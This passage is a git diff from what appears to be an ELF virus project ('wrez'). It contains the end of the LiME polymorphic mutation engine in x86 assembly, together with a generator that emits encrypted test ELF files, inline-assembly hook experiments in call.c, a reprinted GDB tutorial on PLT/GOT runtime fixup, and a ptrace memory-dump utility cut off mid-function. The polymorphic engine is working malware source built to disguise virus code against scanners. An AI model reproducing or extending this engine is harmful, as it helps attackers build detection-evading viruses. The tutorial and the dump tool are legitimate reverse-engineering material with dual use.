1015 and dword [ebp-@+jxx_addr],byte 00h
1016lmtc_t2:
1017 loop lmtc_l
1018 and dword [ebp-@+jxx_addr],byte 00h
1019 pop esi
1020 pop edx
1021 pop ecx
1022 pop ebx
1023 ret
1024
1025lime_mtc1: ; 8087
1026 and al,00000100b
1027 or al,0d8h
1028 stosb
1029lmtc1_a1:
1030 mov al,ah
1031 and ah,00000111b
1032 cmp ah,00000101b
1033 jnz lmtc1_a2
1034 and al,00111111b
1035 stosb
1036 mov al,7fh
1037 call [ebp-@+LIME_rnd_eax_and_al]
1038 add eax,[ebp-@+para_ebp]
1039 stosd
1040 ret
1041lmtc1_a2:
1042 or al,11000000b
1043 stosb
1044 ret
1045
1046lime_mtc2:
1047 mov al,0fh
1048 call [ebp-@+LIME_rnd_al]
1049 or al,80h
1050 cmp al,8dh ; lea reg,[reg]
1051 jz lmtc2_a
1052 cmp al,8bh
1053 ja lime_mtc2
1054 cmp al,86h
1055 jb lime_mtc2
1056 stosb ; (xchg/mov) reg,reg
1057 mov al,11b
1058 call lime_rnd_rm
1059 jmp short lime_mtc2
1060lmtc2_a:
1061 stosb
1062 mov al,10b
1063 call [ebp-@+LIME_rnd_al]
1064 call lime_rnd_rm
1065 ret
1066
1067lime_mtc3: ; MMX
1068 push eax
1069 mov al,0fh
1070 stosb
1071 lea ebx,[ebp-@+lime_mmx_opcod_tab]
1072 mov al,2fh
1073 call [ebp-@+LIME_rnd_al]
1074 xlatb
1075 stosb
1076 pop eax
1077 or al,11000000b
1078 stosb
1079 ret
1080
1081lime_mtc4:
1082 and al,01h
1083 mov dl,al
1084 shl dl,3
1085 call [ebp-@+LIME_rnd_reg]
1086 or al,0b0h ; mov reg,xxxxxx(xx)
1087 or al,dl
1088 stosb
1089 cmp al,0b8h
1090 jb lmtc4_a
1091 call [ebp-@+LIME_rnd]
1092 and eax,0bfff83ffh
1093 stosd
1094 ret
1095lmtc4_a:
1096 call [ebp-@+LIME_rnd]
1097 stosb
1098 ret
1099
1100lime_mtc5:
1101 and al,03h
1102 or al,80h ; (add/or/adc/sbb/and/sub/xor/cmp) reg,xx
1103 stosb
1104 call [ebp-@+LIME_rnd_reg]
1105 or al,11000000b
1106 stosb
1107 call [ebp-@+LIME_rnd]
1108 and eax,83ffbfffh
1109 stosd
1110 cmp byte [edi-06h],81h
1111 jz lime_mtc5_a
1112 sub edi,byte 03h
1113lime_mtc5_a:
1114; ret
1115
1116lime_mtc6:
1117 cmp dword [ebp-@+jxx_addr],byte 00h
1118 jnz lime_mtc4
1119 mov al,0fh
1120 call [ebp-@+LIME_rnd_eax_and_al]
1121 or al,70h ; jxx xx
1122 stosw
1123 mov [ebp-@+jxx_addr],edi
1124 call lime_mtc5
1125 ret
1126
1127lime_mtc7:
1128 jp lime_mtc7_a
1129 and al,01h
1130 or al,0feh ; (inc/dec) reg
1131 stosb
1132 call [ebp-@+LIME_rnd_reg]
1133 and ah,00001000b
1134 or al,11000000b
1135 or al,ah
1136 stosb
1137 ret
1138lime_mtc7_a:
1139 call lime_rnd_reg_dd
1140 and ah,00001000b
1141 or ah,40h ; (inc/dec) reg
1142 or al,ah
1143 stosb
1144 ret
1145
1146lime_mtc8:
1147; ret
1148 call lime_rnd_reg_dd
1149 mov dl,al
1150 mov [ebp-@+temp_reg],al
1151 or al,0b8h ; mov reg,xxxxxxxx
1152 stosb
1153 call [ebp-@+LIME_rnd]
1154 stosd
1155 push edi
1156 push eax
1157 call [ebp-@+LIME_make_noflags_cod]
1158 call [ebp-@+LIME_rnd]
1159 and al,08h
1160 or al,40h ; (inc/dec) reg
1161 or al,[ebp-@+temp_reg]
1162 stosb
1163 push eax
1164 call [ebp-@+LIME_make_noflags_cod]
1165 mov ax,0f881h ; cmp reg,xxxxxxxx
1166 or ah,[ebp-@+temp_reg]
1167 stosw
1168 mov al,7fh
1169 call [ebp-@+LIME_rnd_eax_and_al]
1170 or al,10h
1171 pop edx
1172 test dl,08h
1173 pop edx
1174 jnz lime_mtc8_a1
1175 add eax,edx
1176 jmp short lime_mtc8_a2
1177lime_mtc8_a1:
1178 xchg eax,edx
1179 sub eax,edx
1180lime_mtc8_a2:
1181 stosd
1182 call [ebp-@+LIME_make_noflags_cod]
1183 mov al,[ebp-@+disp_reg]
1184 mov [ebp-@+temp_reg],al
1185 mov al,75h ; jnz xx
1186 stosw
1187 cmp eax,edi
1188 jp lime_mtc8_a3
1189 pop eax
1190 sub eax,edi
1191 cmp eax,byte -80h
1192 jb lime_mtc8_a4
1193 mov [edi-01h],al
1194 ret
1195lime_mtc8_a3:
1196 pop eax
1197lime_mtc8_a4:
1198 push edi
1199 call lime_rnd_trash
1200 pop edx
1201 mov eax,edi
1202 sub eax,edx
1203 mov [edx-01h],al
1204 ret
1205
1206lime_mtc9: ; (add/or/adc/sbb/and/sub/xor/cmp) reg,reg
1207 call [ebp-@+LIME_rnd]
1208 and al,00111011b
1209 stosb
1210 call [ebp-@+LIME_rnd_reg]
1211 or al,00011000b
1212 rol al,3
1213 mov ah,al
1214 mov al,[edi-01h]
1215 call [ebp-@+LIME_rnd_reg]
1216 or al,ah
1217 stosb
1218 ret
1219
1220; ---------------------------------------------------------------
1221
1222LIME_END:
1223LIME_SIZE equ LIME_END-LIME_BEGIN
1224
1225; ***************************************************************
1226; [LiME] test files generator
1227; ***************************************************************
1228
1229main:
1230 mov eax,4
1231 mov ebx,1
1232 mov ecx,gen_msg
1233 mov edx,gen_msg_len
1234 int 80h
1235
1236 mov ecx,99
1237gen_l1:
1238 push ecx
1239
1240 mov eax,8
1241 mov ebx,filename
1242 mov ecx,000111111101b ; 000rwxrwxrwx
1243 int 80h
1244
1245 push eax
1246
1247 mov eax,0
1248 mov ebx,host_entry
1249 mov ecx,host
1250 mov edx,host_len
1251 mov ebp,[e_entry]
1252 call LIME
1253
1254 pop ebx
1255
1256 mov eax,4
1257 mov ecx,elf_head
1258 add edx,host_entry-elf_head
1259 mov [p_filsz],edx
1260 mov [p_memsz],edx
1261 int 80h
1262
1263 mov eax,6
1264 int 80h
1265
1266 lea ebx,[filename+1]
1267 inc byte [ebx+1]
1268 cmp byte [ebx+1],'9'
1269 jbe gen_l2
1270 inc byte [ebx]
1271 mov byte [ebx+1],'0'
1272gen_l2:
1273 pop ecx
1274 loop gen_l1
1275
1276 mov eax,1
1277 xor ebx,ebx
1278 int 80h
1279
1280gen_msg db 'Generates 50 [LiME] encrypted test files...',0dh,0ah
1281gen_msg_len equ $-gen_msg
1282
1283host:
1284 call host_reloc
1285host_reloc:
1286 pop ecx
1287 add ecx,host_msg-host_reloc
1288 mov eax,4
1289 mov ebx,1
1290 mov edx,host_msg_len
1291 int 80h
1292 mov eax,1
1293 xor ebx,ebx
1294 int 80h
1295
1296host_msg db 'This is a [LiME] test file! ...('
1297filename db 't00',0
1298 db ')',0dh,0ah
1299host_msg_len equ $-host_msg
1300host_len equ $-host
1301
1302elf_head:
1303e_ident db 7fh,'ELF',1,1,1
1304 times 9 db 0
1305e_type dw 2
1306e_mach dw 3
1307e_ver dd 1
1308e_entry dd host_entry-elf_head+08049000h
1309e_phoff dd 34h
1310e_shoff dd 0
1311e_flags dd 0
1312e_elfhs dw 34h
1313e_phes dw 20h
1314e_phec dw 01h
1315e_shes dw 0
1316e_shec dw 0
1317e_shsn dw 0
1318elf_ph:
1319p_type dd 1
1320p_off dd 0
1321p_vaddr dd 08049000h
1322p_paddr dd 08049000h
1323p_filsz dd file_len
1324p_memsz dd file_len
1325p_flags dd 7
1326p_align dd 1000h
1327 times 20h db 0
1328host_entry:
1329 times 1024*4 db 0
1330
1331file_len equ $-elf_head
1332
diff --git a/other/wrez/tmp/call.c b/other/wrez/tmp/call.c
new file mode 100644
index 0000000..d81f072
--- /dev/null
+++ b/other/wrez/tmp/call.c
@@ -0,0 +1,106 @@
1/* use ht on the 'call' executeable to set the first PT_LOAD rwx
2 * else it will segfault
3 */
4
5#include <stdio.h>
6
7int foofunc (void);
8
9
10#define FUNCPTR(dst,functionname) \
11{ \
12 register unsigned int fptr; \
13 \
14 __asm__ __volatile__ ( \
15 " call l0_%=\n" \
16 "l0_%=: movl $"##functionname", %%eax\n" \
17 " subl $l0_%=, %%eax\n" \
18 " popl %%edx\n" \
19 " addl %%edx, %%eax\n" \
20 : "=a" (fptr) : : "edx"); \
21 \
22 (dst) = (void *) fptr; \
23}
24
25#define PTRINSTALL(hook,chain) \
26{ \
27 __asm__ __volatile__ ( \
28 " call l0_%=\n" \
29 "lr_%=: jmp lo_%=\n" \
30 "l0_%=: pushl %%edx\n" \
31 " pushl $0x64466226\n" \
32 " jmpl *%%eax\n" \
33 "lo_%=:\n" \
34 : : "a" (hook), "d" (chain)); \
35}
36
37#define PTRCONTROL(chain) \
38{ \
39 __asm__ __volatile__ ( \
40 " jmp l0_%=\n" \
41 "lp_%=: .byte 0x0\n" \
42 " .byte 0x0\n" \
43 " .byte 0x0\n" \
44 " .byte 0x0\n" \
45 "\n" \
46 "l0_%=: call l1_%=\n" \
47 "l1_%=: popl %%edx\n" \
48 " addl $lp_%=, %%edx\n" \
49 " subl $l1_%=, %%edx\n" \
50 "\n" \
51 " movl 0x4(%%ebp), %%eax\n" \
52 " cmpl $0x64466226, %%eax\n" \
53 " jne lo_%=\n" \
54 "\n" \
55 " movl 0x8(%%ebp), %%eax\n" \
56 " movl %%eax, (%%edx)\n" \
57 "\n" \
58 " movl %%ebp, %%esp\n" \
59 " popl %%ebp\n" \
60 " addl $0x8, %%esp\n" \
61 " ret\n" \
62 "\n" \
63 "lo_%=: movl (%%edx), %%eax\n" \
64 : "=a" (chain) : : "edx"); \
65}
66
67
68int
69main (int argc, char *argv[])
70{
71 void (* addr)(void);
72
73#if 0
74 __asm__ __volatile__ ("
75 call l1_%=
76 l1_%=: movl $foofunc, %%eax
77 subl $l1_%=, %%eax
78 popl %%edx
79 addl %%edx, %%eax
80 pusha
81 call *%%eax
82 popa"
83 : "=a" (addrdiff) : : "edx");
84#endif
85 FUNCPTR (addr, "foofunc");
86
87 printf ("0x%08lx\n", (unsigned long int) addr);
88
89 PTRINSTALL (addr, 0x42424242);
90
91 foofunc ();
92}
93
94
95int
96foofunc (void)
97{
98 void * chain;
99
100 PTRCONTROL (chain);
101
102 printf ("0x%08lx\n", chain);
103}
104
105
106
diff --git a/other/wrez/tmp/call.c.backup b/other/wrez/tmp/call.c.backup
new file mode 100644
index 0000000..13d3565
--- /dev/null
+++ b/other/wrez/tmp/call.c.backup
@@ -0,0 +1,137 @@
1/* use ht on the 'call' executeable to set the first PT_LOAD rwx
2 * else it will segfault
3 */
4
5#include <stdio.h>
6
7int foofunc (void);
8
9
10#define FUNCPTR(dst,functionname) \
11{ \
12 register unsigned int fptr; \
13 \
14 __asm__ __volatile__ ( \
15 " call l0_%=\n" \
16 "l0_%=: movl $"##functionname", %%eax\n" \
17 " subl $l0_%=, %%eax\n" \
18 " popl %%edx\n" \
19 " addl %%edx, %%eax\n" \
20 : "=a" (fptr) : : "edx"); \
21 \
22 (dst) = (void *) fptr; \
23}
24
25#define PTRINSTALL(hook,chain) \
26{ \
27 __asm__ __volatile__ ( \
28 " call l0_%=\n" \
29 "lr_%=: jmp lo_%=\n" \
30 "l0_%=: pushl %%edx\n" \
31 " pushl $0x64466226\n" \
32 " jmpl *%%eax\n" \
33 "lo_%=:\n" \
34 : : "a" (hook), "d" (chain)); \
35}
36
37#define PTRCONTROL(chain) \
38{ \
39 __asm__ __volatile__ ( \
40 " jmp l0_%=\n" \
41 "lp_%=: .byte 0x0\n" \
42 " .byte 0x0\n" \
43 " .byte 0x0\n" \
44 " .byte 0x0\n" \
45 "\n" \
46 "l0_%=: call l1_%=\n" \
47 "l1_%=: popl %%edx\n" \
48 " addl $lp_%=, %%edx\n" \
49 " subl $l1_%=, %%edx\n" \
50 "\n" \
51 " movl 0x4(%%ebp), %%eax\n" \
52 " cmpl $0x64466226, %%eax\n" \
53 " jne lo_%=\n" \
54 "\n" \
55 " movl 0x8(%%ebp), %%eax\n" \
56 " movl %%eax, (%%edx)\n" \
57 "\n" \
58 " movl %%ebp, %%esp\n" \
59 " popl %%ebp\n" \
60 " addl $0x8, %%esp\n" \
61 " ret\n" \
62 "\n" \
63 "lo_%=: movl (%%edx), %%eax\n" \
64 : "=a" (chain) : : "edx"); \
65}
66
67int
68main (int argc, char *argv[])
69{
70 void (* addr)(void);
71
72#if 0
73 __asm__ __volatile__ ("
74 call l1_%=
75 l1_%=: movl $foofunc, %%eax
76 subl $l1_%=, %%eax
77 popl %%edx
78 addl %%edx, %%eax
79 pusha
80 call *%%eax
81 popa"
82 : "=a" (addrdiff) : : "edx");
83#endif
84 FUNCPTR (addr, "foofunc");
85
86 printf ("0x%08lx\n", (unsigned long int) addr);
87
88 __asm__ __volatile__ ("
89 call l0_%=
90 lr_%=: jmp lo_%=
91 l0_%=: pushl %%edx
92 pushl $0x64466226
93 jmpl *%%eax
94 lo_%=:
95 " : : "a" (addr), "d" (0x42424242));
96
97 foofunc ();
98}
99
100
101int
102foofunc (void)
103{
104 void * chain;
105
106 __asm__ __volatile__ ("
107 ls1_%=: jmp l0_%=
108 ptr_%=: .byte 0x0
109 .byte 0x0
110 .byte 0x0
111 .byte 0x0
112
113 l0_%=: call l1_%=
114 l1_%=: popl %%edx
115 addl $ptr_%=, %%edx
116 subl $l1_%=, %%edx
117
118 movl 0x4(%%ebp), %%eax
119 cmpl $0x64466226, %%eax
120 jne lo_%=
121
122 movl 0x8(%%ebp), %%eax
123 movl %%eax, (%%edx)
124
125 movl %%ebp, %%esp
126 popl %%ebp
127 addl $0x8, %%esp
128 ret
129
130 lo_%=: movl (%%edx), %%eax
131 " : "=a" (chain) : : "edx");
132
133 printf ("0x%08lx\n", chain);
134}
135
136
137
diff --git a/other/wrez/tmp/elf-runtime-fixup.txt b/other/wrez/tmp/elf-runtime-fixup.txt
new file mode 100644
index 0000000..a594cdd
--- /dev/null
+++ b/other/wrez/tmp/elf-runtime-fixup.txt
@@ -0,0 +1,324 @@
1
2**************************************************************************
3
4 Reversing the ELF
5
6 Stepping with GDB during PLT uses and .GOT fixup
7
8 mayhem (mayhem@hert.org)
9
10**************************************************************************
11
12
13This text is a GDB tutorial about runtime process fixup using the Procedure
14Linkage Table section (.plt) and the Global Offset Table section (.got) .
15If you dont know what is ELF, you should read the ELF ultimate documentation
16you can find here :
17
18 http://www.devhell.org/~mayhem/stuffs/ELF.pdf
19
20Some basic ASM knowledge may be requested .
21
22This text has not been written for ELF specialists . This tutorial is an
23alternative , interactive way to understand the PLT mechanisms .
24
25When the executable is mapped into memory, the core code segment _start
26fonction the executable file is called as soon as the _dl_start function
27of the dynamic linker has returned . I will go step by step in the
28process structures initialization mechanims using objdump, gdb and gcc ;
29
30
31
32
33bash-2.03$ cat test.c
34int called()
35{
36 puts("toto");
37}
38
39int main()
40{
41 called();
42}
43bash-2.03$ cc test.c && objdump -D ./a.out | less
44
45<...>
46
4708048318 <_start>:
48 8048318: 31 ed xor %ebp,%ebp
49 804831a: 5e pop %esi
50 804831b: 89 e1 mov %esp,%ecx
51 804831d: 83 e4 f8 and $0xfffffff8,%esp
52 8048320: 50 push %eax
53 8048321: 54 push %esp
54 8048322: 52 push %edx
55 8048323: 68 04 84 04 08 push $0x8048404
56 8048328: 68 98 82 04 08 push $0x8048298
57 804832d: 51 push %ecx
58 804832e: 56 push %esi
59 804832f: 68 c8 83 04 08 push $0x80483c8
60 8048334: e8 cf ff ff ff call 8048308 <_init+0x70> <===
61 8048339: f4 hlt
62 804833a: 90 nop
63 804833b: 90 nop
64
65
66<...>
67
68
69
70
71Even if the dynamic linker creates some basic stuffs before everything,
72he first core function called is _start .
73
74We can see that this function initialize the stack . Some things we have
75to notice :
76
77$0x8048404 : _fini() function offset in the .fini section
78$0x8048298 : _init() function offset in the .init section
79$0x80483c8 : main() function offset in the .text section
80
81
82This information is pushed because it's used in the libc in the
83__libc_start_main function . This libc function has to :
84
85 - call the constructors .
86 - call the main .
87 - call the destructors .
88
89
90The call to the offset 0x8048308 points in the Procedure Linkage Table
91(.plt section) . This section provides a way to transfert inter-object
92calls . Remember we're trying to call the __libc_start_main function .
93
94The PLT code for this entry is :
95
96
97080482c8 <.plt>:
98 80482c8: ff 35 54 94 04 08 pushl 0x8049454
99 80482ce: ff 25 58 94 04 08 jmp *0x8049458
100 80482d4: 00 00 add %al,(%eax)
101 80482d6: 00 00 add %al,(%eax)
102 80482d8: ff 25 5c 94 04 08 jmp *0x804945c
103 80482de: 68 00 00 00 00 push $0x0
104 80482e3: e9 e0 ff ff ff jmp 80482c8 <_init+0x30>
105 80482e8: ff 25 60 94 04 08 jmp *0x8049460
106 80482ee: 68 08 00 00 00 push $0x8
107 80482f3: e9 d0 ff ff ff jmp 80482c8 <_init+0x30>
108 80482f8: ff 25 64 94 04 08 jmp *0x8049464
109 80482fe: 68 10 00 00 00 push $0x10
110 8048303: e9 c0 ff ff ff jmp 80482c8 <_init+0x30>
111 8048308: ff 25 68 94 04 08 jmp *0x8049468 *YOU ARE HERE*
112 804830e: 68 18 00 00 00 push $0x18
113 8048313: e9 b0 ff ff ff jmp 80482c8 <_init+0x30>
114
115
116
117We can see that our call in the PLT is followed by a JMP :
118
119 jmp *0x8049468
120
121The 0x8049468 offset is in the Global Offset Table (.got section) . The
122stars means (for non x86 att syntax experts readers) that we are using
123the four byte pointer at 0x8049468 as an offset . This offset in actually
124retreivable from the Global Offset Table (GOT) .
125
126In the beginning, the GOT offsets points on the following push (offset
1270x804830e : look at the objdump trace above) . At the moment , the GOT
128in our process is said to be "empty", and is going to be filled as long
129as the process calls remote functions (one entry is updated each time the
130program calls this remote function *for the first time*) .
131
132
133
134 .got :
135
136 [00] 0x8049470 [01] (nil)
137 [02] (nil) [03] 0x80482de
138 [04] 0x80482ee [05] 0x80482fe
139 [06] 0x804830e [07] (nil)
140
141
142 The GOT is empty : every offsets point on a push instruction in
143 the procedure linkage table (.plt) .
144
145
146
147We can see that the third first entries in the GOT have special values :
148
149 - The [0] entry contains the offset for the .dynamic section of
150 this object, it's used by the dynamic linker to know some
151 preferences and some very useful informations . Look at the
152 ELF reference for further details . Some stuff are also explained
153 in the dynamic linking related chapter of this tfile .
154
155 - The [1] one is the link_map structure offset associated with
156 this object, it's an internal structure in ld.so describing
157 a lot of interresting stuffs, I wont go in depth with it in this
158 paper .
159
160 - The [2] entry contains the runtime process fixup function offset
161 (pointing in the dynamic linking code zone). This pointer is used by
162 the first entry of the plt which is called when you want to launch
163 a remote (undefined) function for the first time .
164
165
166The 2nd and 3rd entries are set to NULL at the beginning and are filled by
167the dynamic linker before the process code segment starting function takes
168control . These are filled in elf_machine_runtime_setup() in
169sysdeps/i386/dl-machine.h .
170
171With that mechanism, we have to execute three call instructions (if the
172corresponding GOT entry has not been updated yet), or two call instructions
173(if the GOT has been filled) . Remember that the GOT has been filled during
174the first call on the corresponding function . Only external functions need
175that mechanism, since only in-core code segment functions offsets are known
176before the process start (the executable object base address is known) .
177
178
179Get back to our code, we can see that this entry jumps to the 3rd offset of
180the GOT entry, it means that the code calls the dynamic linker's resolution
181function dl-resolve() . Some other papers have been describing useful
182information gathering with it (check Nergal's phrack 58 or grugq's subversive
183dynamic linking paper)
184
185
186We can note that these 2 offsets are pushed each time a call is done via
187the PLT :
188
189 - The first is an offset (in octets) in the .rel.plt section of the
190 program binary . It's used to identify the corresponding symbol for
191 the function we are trying to get the real absolute address .
192 - The second one is the offset contained in the 2nd GOT entry
193 (it's 0x8049454 in our code) .
194
195This information allows us to identify the symbol for which we want to do
196a relocation . Let's discover the runtime .got fixup offset with gdb and
197the procfs :
198
199
200bash-2.03$ gdb a.out
201
202(gdb) b called
203Breakpoint 1 at 0x80483b7
204
205(gdb) r
206Starting program: /home/mayhem/a.out
207Breakpoint 1, 0x80483b7 in called ()
208
209(gdb) disassemble called
210Dump of assembler code for function called:
2110x80483b4 <called>: push %ebp
2120x80483b5 <called+1>: mov %esp,%ebp
2130x80483b7 <called+3>: push $0x8048428
2140x80483bc <called+8>: call 0x80482e8 <puts> <======== LOOK HERE !
2150x80483c1 <called+13>: add $0x4,%esp
2160x80483c4 <called+16>: leave
2170x80483c5 <called+17>: ret
2180x80483c6 <called+18>: mov %esi,%esi
219End of assembler dump.
220
221
222What is this routine ?
223
224
225
226(gdb) x/3i 0x80482e8
2270x80482e8 <puts>: jmp *0x8049460
2280x80482ee <puts+6>: push $0x8
2290x80482f3 <puts+11>: jmp 0x80482c8 <_init+48>
230
231
232It's the procedure linkage table entry for this function, it uses offset
233in the GOT . As the GOT is not yet filled, the offset is the 32 bits address
234of the following push ("push $0x8") . This entry is going to be modified
235by the dynamic linker as soon as the symbol resolution is done ( see
236chapter 2) .
237
238
239
240(gdb) x/1x 0x8049460
2410x8049460 <_GLOBAL_OFFSET_TABLE_+16>: 0x080482ee
242
243
244Each first time you call a remote function, the PLT first entry code
245is executed :
246
247
248(gdb) x/3i 0x80482c8
2490x80482c8 <_init+48>: pushl 0x8049454
2500x80482ce <_init+54>: jmp *0x8049458
2510x80482d4 <_init+60>: add %al,(%eax)
252
253
254This first entry uses the third entry of the GOT , then the dynamic
255linker takes control :
256
257
258(gdb) x/1x 0x8049458
2590x8049458 <_GLOBAL_OFFSET_TABLE_+8>: 0x40009a10
260
261(gdb)
262
263
264Let's see what is the library containing this function at the offset
2650x40009a10 .
266
267
268bash-2.04$ pidof a.out
2697905
270bash-2.04$ cat /proc/7905/maps
27108048000-08049000 r-xp 00000000 03:01 135375 /home/mayhem/a.out
27208049000-0804a000 rw-p 00000000 03:01 135375 /home/mayhem/a.out
27340000000-40012000 r-xp 00000000 03:01 229408 /lib/ld-2.1.2.so <== *GOOD*
27440012000-40013000 rw-p 00011000 03:01 229408 /lib/ld-2.1.2.so
27540013000-40014000 rw-p 00000000 00:00 0
2764001a000-400fb000 r-xp 00000000 03:01 229410 /lib/libc-2.1.2.so
277400fb000-400ff000 rw-p 000e0000 03:01 229410 /lib/libc-2.1.2.so
278400ff000-40102000 rw-p 00000000 00:00 0
279bfffe000-c0000000 rwxp fffff000 00:00 0
280bash-2.04$
281
282
283The wanted function is in the dynamic linker code segment, more precisely
284in the _dl_runtime_fixup() function, in the sysdeps/i386/dl-machine.h
285file . To be honest, i had difficulties to find it , because I could not
286deduce the symbol giving its virtual address, and this for 2 reasons :
287
288 - The libc and the dynamic linker are stripped (the symbol table
289 and the debug information has been removed) . As a consequence,
290 I could get the function name from the symbol table .
291
292 - In a shared library, offsets are relative (actually it's
293 calculated from the beginning of the file, so you can't retreive
294 the absolute function addresses from the ld.so symbol table) .
295 You can do a "objdump -D /lib/libc.so.6" to see it by yourself .
296
297 Even if I had a symbol table, I could not have got the good offset .
298 I could have compare the first bytes of the function in the debugged
299 process and the library (ld.so) code segment to find some hexadecimal
300 sequences matching, but I prefered to read the sources . ;)
301
302 The solution is to calculate the relocation ourself, most of the
303 time we have : base_addr + symbol_value = runtime address . You
304 can get the base address from the procfs (if you have read access,
305 this is okay by default) and you can check the symbol's value
306 from the library's .dynsym section (list of exported symbols).
307 Note that you can retreive it from the symbol table (.symtab)
308 but this section may be removed from the shared library using
309 known basic tools like strip(3) .
310
311
312Shoutouts to silvio and grugq !
313
314
315*EOF*
316
317
318
319
320
321
322
323
324
diff --git a/other/wrez/tmp/foo.c b/other/wrez/tmp/foo.c
new file mode 100644
index 0000000..51d4bd2
--- /dev/null
+++ b/other/wrez/tmp/foo.c
@@ -0,0 +1,11 @@
1
2#include <stdio.h>
3
4int
5main (int argc, char *argv[])
6{
7 printf ("my home is my castle\n");
8 printf ("my castle is my home\n");
9}
10
11
diff --git a/other/wrez/tmp/memdump.c b/other/wrez/tmp/memdump.c
new file mode 100644
index 0000000..3215d20
--- /dev/null
+++ b/other/wrez/tmp/memdump.c
@@ -0,0 +1,249 @@
1/* memory dump utility
2 * -scut
3 */
4
5#include <sys/types.h>
6#include <sys/ptrace.h>
7#include <sys/wait.h>
8#include <sys/user.h>
9#include <errno.h>
10#include <unistd.h>
11#include <stdlib.h>
12#include <stdio.h>
13#include <libgen.h> /* basename */
14
15
16void
17hexdump (unsigned char *data, unsigned int amount);
18
19
20int
21main (int argc, char *argv[])
22{
23 pid_t fpid; /* child pid, gets ptraced */
24 char * argv0;
25 struct user regs; /* PTRACE pulled registers */
26 unsigned long int addr, /* segment start address */
27 addr_end, /* segment end address */
28 len; /* length of segment */
29 unsigned long int addr_walker, /* walker to dump memory */
30 eip; /* current childs eip */
31
32 /* array to temporarily store data into */
33 unsigned char data_saved[sizeof (unsigned long int)];
34
35 /* file to read mapping information */
36 FILE * map_f; /* /proc/<pid>/maps stream */
37 unsigned char map_line[256]; /* one line each from map */
38
39 /* data for the dump files */
40 FILE * dump_f; /* stream */
41 char dump_name[64]; /* filename buffer */
42
43
44 if (argc < 3 || sscanf (argv[1], "0x%lx", &eip) != 1) {
45 printf ("usage: %s <eip> <argv0 [argv1 [...]]>\n\n", argv[0]);
46 printf ("will run 'argv0' as program with given arguments, "
47 "until 'eip' is reached, then\n"
48 "dumping 'len' bytes from 'addr'.\n\n"
49 "example: %s 0x08049014 0x08048000 0x100 /bin/ls "
50 "-l\n\n", argv[0]);
51
52 exit (EXIT_FAILURE);
53 }
54
55 argv0 = argv[2];
56
57 fpid = fork ();
58 if (fpid < 0) {
59 perror ("fork");
60 exit (EXIT_FAILURE);
61 }
62 if (fpid == 0) { /* child */
63 if (ptrace (PTRACE_TRACEME, 0, NULL, NULL) != 0) {
64 perror ("ptrace PTRACE_TRACEME");
65 exit (EXIT_FAILURE);
66 }
67 fprintf (stderr, " child: TRACEME set\n");
68
69 fprintf (stderr, " child: executing: %s\n", argv[2]);
70 close (1);
71 dup2 (2, 1);
72 execve (argv[2], &argv[2], NULL);
73
74 /* failed ? */
75 perror ("execve");
76 exit (EXIT_FAILURE);
77 }
78
79 wait (NULL);
80
81 memset (&regs, 0, sizeof (regs));
82
83 if (ptrace (PTRACE_GETREGS, fpid, NULL, &regs) < 0) {
84 perror ("ptrace PTRACE_GETREGS");
85 exit (EXIT_FAILURE);
86 }
87 fprintf (stderr, "[0x%08lx] first stop\n", regs.regs.eip);
88
89 /* now single step until given eip is reached */
90 do {
91 if (ptrace (PTRACE_SINGLESTEP, fpid, NULL, NULL) < 0) {
92 perror ("ptrace PTRACE_SINGLESTEP");
93 exit (EXIT_FAILURE);
94 }
95 wait (NULL);
96
97 memset (&regs, 0, sizeof (regs));
98 if (ptrace (PTRACE_GETREGS, fpid, NULL, &regs) < 0) {
99 perror ("ptrace PTRACE_GETREGS");
100 exit (EXIT_FAILURE);
101 }
102 } while (regs.regs.eip != eip);
103
104 fprintf (stderr, "MEMDUMP: eip @ 0x%08lx, dumping...\n", eip);
105
106 snprintf (dump_name, sizeof (dump_name), "%s.regs",
107 basename (argv0));
108 dump_name[sizeof (dump_name) - 1] = '\0';
109 dump_f = fopen (dump_name, "w");
110 if (dump_f == NULL) {
111 perror ("fopen dumpfile regs");
112 exit (EXIT_FAILURE);
113 }
114 fprintf (dump_f, "eax = 0x%08lx\n", regs.regs.eax);
115 fprintf (dump_f, "ebx = 0x%08lx\n", regs.regs.ebx);
116 fprintf (dump_f, "ecx = 0x%08lx\n", regs.regs.ecx);
117 fprintf (dump_f, "edx = 0x%08lx\n", regs.regs.edx);
118 fprintf (dump_f, "esi = 0x%08lx\n", regs.regs.esi);
119 fprintf (dump_f, "edi = 0x%08lx\n", regs.regs.edi);
120 fprintf (dump_f, "ebp = 0x%08lx\n", regs.regs.ebp);
121 fprintf (dump_f, "esp = 0x%08lx\n", regs.regs.esp);
122 fprintf (dump_f, "eflags = 0x%08lx\n", regs.regs.eflags);
123 fprintf (dump_f, "xcs = 0x%08lx\n", regs.regs.xcs);
124 fprintf (dump_f, "xds = 0x%08lx\n", regs.regs.xds);
125 fprintf (dump_f, "xes = 0x%08lx\n", regs.regs.xes);
126 fprintf (dump_f, "xss = 0x%08lx\n", regs.regs.xss);
127 fclose (dump_f);
128
129 snprintf (map_line, sizeof (map_line), "/proc/%d/maps", fpid);
130 map_line[sizeof (map_line) - 1] = '\0';
131 map_f = fopen (map_line, "r");
132 if (map_f == NULL) {
133 perror ("fopen map-file");
134
135 exit (EXIT_FAILURE);
136 }
137
138 while (fgets (map_line, sizeof (map_line), map_f) != NULL) {
139 char map_perm[8];
140
141 if (sscanf (map_line, "%08lx-%08lx %7[rwxp-] ",
142 &addr, &addr_end, map_perm) != 3)
143 {
144 perror ("invalid map-line");
145
146 exit (EXIT_FAILURE);
147 }
148 if (addr_end < addr) {
149 fprintf (stderr, "sanity required, not so: "
150 "addr = 0x%08lx, addr_end = 0x%08lx",
151 addr, addr_end);
152
153 exit (EXIT_FAILURE);
154 }
155 len = addr_end - addr;
156 map_perm[sizeof (map_perm) - 1] = '\0'; /* ;-) */
157
158 fprintf (stderr, "MEMDUMP: -> 0x%08lx (0x%08lx bytes, "
159 "perm %s)\n", addr, len, map_perm);
160
161 snprintf (dump_name, sizeof (dump_name),
162 "%s.0x%08lx.0x%08lx.%s",
163 basename (argv0), addr, len, map_perm);
164 dump_name[sizeof (dump_name) - 1] = '\0';
165 dump_f = fopen (dump_name, "wb");
166 if (dump_f == NULL) {
167 perror ("fopen dumpfile");
168
169 exit (EXIT_FAILURE);
170 }
171
172 /* save data, assuming addr is page aligned */
173 for (addr_walker = 0 ; addr_walker < len ;
174 addr_walker += sizeof (data_saved))
175 {
176 errno = 0;
177
178 *((unsigned long int *) &data_saved[0]) =
179 ptrace (PTRACE_PEEKDATA, fpid,
180 addr + addr_walker, NULL);
181
182 if (errno == 0 && fwrite (&data_saved[0], 1, 4,
183 dump_f) != 4)
